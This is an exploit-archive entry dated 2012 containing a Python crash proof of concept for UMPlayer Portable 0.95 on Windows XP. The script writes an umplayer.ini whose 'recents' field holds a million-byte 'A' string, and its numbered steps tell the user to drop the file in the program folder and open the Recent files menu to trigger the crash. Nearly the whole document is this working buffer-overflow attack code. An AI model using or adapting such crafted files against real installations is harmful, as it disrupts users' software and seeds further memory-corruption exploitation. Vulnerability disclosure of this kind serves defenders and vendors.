# Exploit Title: UMPlayer (Portable Edition)
# Date: 2012-11-28
# Exploit Author: p3kok
# Vendor Homepage: http://www.umplayer.com/
# Software Link: http://sourceforge.net/projects/umplayer/ or http://www.umplayer.com/download/
# Version: 0.95(Portable Edition) Compiled 4.7.0
# Tested on: xp sp 2
 
###### Crash POC ######
# Aplication Crashed when mouse over on "Recent files" submenu under "Open" menu
# 1. Generate umplayer.ini file with this code
# 2. Put umplayer.ini file in UMPlayerPortable directory
# 2. Open UMPlayer.exe
# 3. From "Open" menu, Clik "Recent files" and got the crash
 
file =("[%General]" + "\n"
"mplayer_bin=mplayer/mplayer.exe" + "\n"
"driver\\vo=\"directx,\"" + "\n"
"driver\\ao=dsound" + "\n"
"use_screenshot=true" + "\n"
"screenshot_directory=./screenshots" + "\n"
"recordings_directory=./recordings" + "\n"
"dont_remember_media_settings=false" + "\n"
"dont_remember_time_pos=false" + "\n"
"audio_lang=" + "\n"
"subtitle_lang=" + "\n"
"use_direct_rendering=false" + "\n"
"use_double_buffer=true" + "\n"
"use_soft_video_eq=false" + "\n"
"use_slices=false" + "\n"
"autoq=6" + "\n"
"add_blackborders_on_fullscreen=false" + "\n"
"turn_screensaver_off=false" + "\n"
"avoid_screensaver=true" + "\n"
"use_soft_vol=true" + "\n"
"softvol_max=110" + "\n"
"use_scaletempo=-1" + "\n"
"use_hwac3=false" + "\n"
"use_audio_equalizer=true" + "\n"
"global_volume=true" + "\n"
"volume=50" + "\n"
"mute=false" + "\n"
"autosync=false" + "\n"
"autosync_factor=100" + "\n"
"use_mc=false" + "\n"
"mc_value=0" + "\n"
"loop=false" + "\n"
"osd=0" + "\n"
"file_settings_method=hash" + "\n"
"font_cache=false" + "\n"
"playCount=11" + "\n" + "\n" )
 
junk = "\x41" * 1000000
file+="[history]" + "\n"
file+="recents=" + junk
 
out_file = open("umplayer.ini",'w')
out_file.write(file)
out_file.close()